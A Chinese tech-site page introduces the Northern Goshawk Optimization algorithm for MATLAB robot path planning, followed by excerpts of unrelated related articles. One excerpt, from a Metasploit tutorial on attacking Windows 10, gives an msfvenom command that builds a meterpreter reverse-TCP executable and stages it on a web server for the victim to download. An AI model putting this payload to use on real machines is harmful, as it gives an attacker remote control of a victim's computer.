【MATLAB源码-第216期】基于matlab的北方苍鹰优化算法(NGO)机器人栅格路径规划,输出做短路径图和适应度曲线。

news2024/11/18 11:21:20

操作环境:

MATLAB 2022a

1、算法描述

北方苍鹰优化算法(Northern Goshawk Optimization,简称NGO)是一种新兴的智能优化算法,灵感来源于北方苍鹰的捕猎行为。北方苍鹰是一种敏捷且高效的猛禽,广泛分布于北半球,特别是北美和欧亚大陆的森林地带。它们以其出色的猎食策略和高度的适应性闻名,而NGO算法正是通过模拟这种捕猎策略来实现优化目标。

在自然界中,北方苍鹰通过多种手段捕捉猎物,这些手段主要包括高空俯冲、低空巡航和突然袭击。它们在捕猎过程中表现出的敏锐观察、精确定位以及快速反应等特性,为优化算法提供了丰富的灵感源泉。NGO算法通过将这些自然行为转化为数学模型和计算规则,从而实现对复杂优化问题的有效求解。

NGO算法的基本思想是通过模拟北方苍鹰的捕猎行为来寻找问题的最优解。具体来说,该算法将搜索空间中的每一个可能解视为猎物,而算法中的个体(即苍鹰)则通过一系列的捕猎行为来不断逼近和捕获这些猎物,从而找到最优解。为了实现这一目标,NGO算法通常包括以下几个主要步骤:

  1. 初始化种群:首先,NGO算法会在搜索空间内随机生成一定数量的初始解,这些解对应于北方苍鹰的初始位置。每个解的位置表示一个潜在的解决方案,并通过适应度函数来评估其优劣。适应度函数的设计应根据具体问题的特性来确定,通常用于衡量解的优劣程度。

  2. 个体更新:在每一轮迭代过程中,北方苍鹰会根据捕猎策略调整自身的位置。这个过程可以看作是搜索空间中的一次移动,目的是逐步逼近最优解。具体的更新策略可以分为两类:局部搜索和全局搜索。局部搜索模拟苍鹰在发现猎物后的精确打击过程,而全局搜索则模拟苍鹰在大范围内寻找猎物的过程。

  3. 捕猎行为模拟:NGO算法通过一系列数学模型模拟苍鹰的捕猎行为,这些模型通常包括俯冲攻击、突然袭击和包围等策略。在俯冲攻击中,苍鹰从高空快速下降,以极高的速度和精度扑向猎物;在突然袭击中,苍鹰通过快速改变方向和速度,以出其不意的方式捕捉猎物;在包围策略中,多个苍鹰协同合作,从不同方向逼近猎物,最终实现围捕。

  4. 适应度评价:每个个体在更新位置后,需要通过适应度函数重新评估其优劣。这一步骤对于指导下一轮的搜索具有关键作用,因为它决定了哪些个体能够进入下一轮迭代,并在搜索空间中继续移动。适应度函数的选择和设计直接影响算法的收敛速度和精度。

  5. 更新种群:在每一轮迭代结束后,NGO算法根据适应度值选择最优的个体组成新的种群。这一过程类似于自然界中的“优胜劣汰”,通过保留适应度高的个体,逐步淘汰适应度低的个体,从而保证算法朝着最优解的方向进化。

  6. 终止条件:NGO算法的迭代过程会在满足某个终止条件时结束。常见的终止条件包括迭代次数达到预设值、适应度值达到预设阈值、种群适应度值变化小于某个阈值等。满足任意一个条件时,算法停止迭代,并输出当前最优解。

NGO算法具有许多显著的优点,首先,它通过模拟北方苍鹰的自然捕猎行为,使得算法具有很强的鲁棒性和适应性。其次,由于苍鹰的捕猎行为具有多样性和灵活性,NGO算法在处理复杂、多峰、非线性优化问题时表现出色。此外,NGO算法具有较强的全局搜索能力,能够有效避免陷入局部最优,从而提高求解精度。

然而,NGO算法也存在一些挑战和改进空间。首先,算法的性能依赖于适应度函数的设计和种群初始化的质量,如何合理设计适应度函数和优化初始化策略是一个关键问题。其次,尽管NGO算法具有较强的全局搜索能力,但在处理高维、复杂度极高的问题时,仍可能面临收敛速度较慢的问题。为了提高收敛速度,可以结合其他优化算法或引入自适应机制,进一步改进NGO算法的性能。

为了更好地理解NGO算法的工作原理,我们可以通过一个具体的优化问题来说明。假设我们要解决一个函数优化问题,目标是在给定的搜索空间内找到使目标函数值最小的点。首先,我们在搜索空间内随机生成一群初始解,每个解对应一个苍鹰的位置。接下来,根据适应度函数评估每个解的优劣,适应度值较高的解代表离最优解更近。

在每一轮迭代中,每只苍鹰根据捕猎策略调整自己的位置。假设某只苍鹰发现了一个适应度值较高的区域,它会模拟俯冲攻击,迅速逼近该区域;而其他苍鹰则可能进行全局搜索,寻找更好的解。通过不断地局部搜索和全局搜索,整个种群逐步逼近最优解。在达到终止条件后,算法输出当前最优解,即为问题的最佳解决方案。

综上所述,北方苍鹰优化算法是一种基于自然界捕猎行为的智能优化算法,通过模拟北方苍鹰的捕猎策略,实现对复杂优化问题的有效求解。该算法具有鲁棒性强、适应性好、全局搜索能力强等优点,但也存在一些需要进一步研究和改进的挑战。随着算法的不断发展和完善,NGO算法在实际应用中展现出广阔的前景。无论是在工程优化、经济调度、还是科学研究等领域,NGO算法都具有重要的应用价值和潜力。

2、仿真结果演示

3、关键代码展示

4、MATLAB 源码获取

      V

点击下方名片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1710648.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

qrcode和qrcodejs2生成二维码+刷新

1、使用qrcode生产二维码&#xff0c;封装组件 创建Qrcode.vue文件 <template><divclass"QRCode":style"{ width: width, height: height }"><canvas:id"canvasId"ref"canvas":style"{ width: width, height: …

上海冠珠旗舰总店盛装开业暨冠珠瓷砖中国美学设计巡回圆满举办

上海&#xff0c;这座融合了东西方文化的国际化大都市&#xff0c;不仅是中国的时尚中心&#xff0c;也是全球潮流的汇聚地。在这里&#xff0c;古典与现代交织&#xff0c;传统与前卫并存&#xff0c;为传统色彩与现代设计的融合提供了得天独厚的条件。 5月25日&#xff0c;上…

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…

简单3步,ERP、OA、CRM等客户端,安全远程访问服务端

如今&#xff0c;企业员工出差远程办公和分支机构的协同工作变得越来越普遍。然而&#xff0c;如何确保在不同地点的员工都能安全、便捷地访问公司内网的C/S&#xff08;Client/Server&#xff09;架构办公系统&#xff0c;是一个亟待解决的问题。 贝锐花生壳内网穿透服务提供…

Elasticsearch8.13.4版本的Docker启动关闭HTTPS

博主环境是&#xff1a; 开发环境&#xff1a;SpringbootElasticSearch客户端对应的starter 2.6.3版本 maven配置 <!-- ElasticSearch --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elas…

二叉树习题精讲-相同的树

相同的树 100. 相同的树 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/same-tree/description/ /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ bool i…

MFC 发起 HTTP Post 请求 发送MES消息

文章目录 获取Token将获取的Token写入JSON文件 将测试参数发送到http首先将测试参数写入到TestData.JSON文件rapidjson 库需要将CString 进行类型转换才能使用&#xff0c;将CString 转换为const char* 发送JSON 参数到http中&#xff0c;并且获取返回结果写入TestFinish.JSON文…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

效率工作:一键为多种资产添加统一材质(小插件)

1.需求分析&#xff1a; 当导入一批资产&#xff0c;或者有同一批结构体需要添加相同材质时&#xff0c;单独为每个模型都添加材质费时费力&#xff0c;有没有什么办法&#xff0c;能同时为多个资产添加材质。 2.操作实现 1.在网上找到了一款插件&#xff0c;经过验证&#xf…

【数据结构与算法 经典例题】返回单链表的倒数第 k 个节点

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录 一、问题描述 二、解题思路 方法一:计数器方式 方法…

计算机毕业设计hadoop+spark+hive物流大数据分析平台 物流预测系统 物流信息爬虫 物流大数据 机器学习 深度学习

流程&#xff1a; 1.Python爬虫采集物流数据等存入mysql和.csv文件&#xff1b; 2.使用pandasnumpy或者MapReduce对上面的数据集进行数据清洗生成最终上传到hdfs&#xff1b; 3.使用hive数据仓库完成建库建表导入.csv数据集&#xff1b; 4.使用hive之hive_sql进行离线计算&…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app&#xff0c;本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点&#xff0c;本项目主要作为框架的使用教程&a…

深入探究Java自动拆箱与装箱的实现原理

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

浙江大学数据结构MOOC-课后习题-第九讲-排序2 Insert or Merge

题目汇总 浙江大学数据结构MOOC-课后习题-拼题A-代码分享-2024 题目描述 测试点 思路分析 刚开始我打算想推出一个规律&#xff0c;来判断是否是归并排序&#xff0c;但实在太过于复杂&#xff0c;我很难去想出这样的规律…因此&#xff0c;参考了其他博主的思路——每做一次排…

AI菜鸟向前飞 — LangChain系列之十五 - Agent系列:从现象看机制(中篇)一个Agent的“旅行”

Agent基本架构 先谈谈Agent基本架构概念&#xff0c;如果看得云里雾里&#xff0c;等看完本篇之后&#xff0c;再回头看就会豁然开朗的&#xff0c;而我尽量写得更易懂&#xff1a; &#xff09; 这里面会穿插着上一篇的内容&#xff0c;请大家记得往回翻翻&#xff0c;传送门&…

Vue.js中如何实现以列表首列为表头

前言 一般情况table列表的展示&#xff0c;列头都在第一横行&#xff0c;此方法用于列头在第一列的情况。 效果图 核心代码 <template><div><table class"data-table"><tr v-for"(column, columnIndex) in columns" :key"col…

maven部署到私服

方法一:网页上传 1、账号登录 用户名/密码 2、地址 http://自己的ip:自己的端口/nexus 3、查看Repositories列表&#xff0c;选择Public Repositories&#xff0c;确定待上传jar包不在私服中 4、选择3rd party仓库&#xff0c;点击Artifact Upload页签 5、GAV Definition选…

MagicPose4D:解锁AI驱动的3D模型动作新纪元

在当今快速发展的数字内容创作领域,MagicPose4D正以其革命性的技术颠覆传统动画制作流程,成为创作者手中的魔法棒。这款先进的框架不仅仅是一款工具,更是通往无限创意的一扇门,它使得为3D模型赋予生动、自然的动作变得前所未有的简单和高效。下面,让我们深入探索MagicPose…

STM32高级控制定时器(STM32F103):检测输入PWM周期和占空比

目录 概述 1 PWM 输入模式 1.1 原理介绍 1.2 应用实例 1.3 示例时序图 2 使用STM32Cube配置工程 2.1 软件环境 2.2 配置参数 2.3 生成项目文件 3 功能实现 3.1 PWM占空比函数 3.2 输入捕捉回调函数 4 功能测试 4.1 测试软件框架结构 4.2 实验实现 4.2.1 测试实…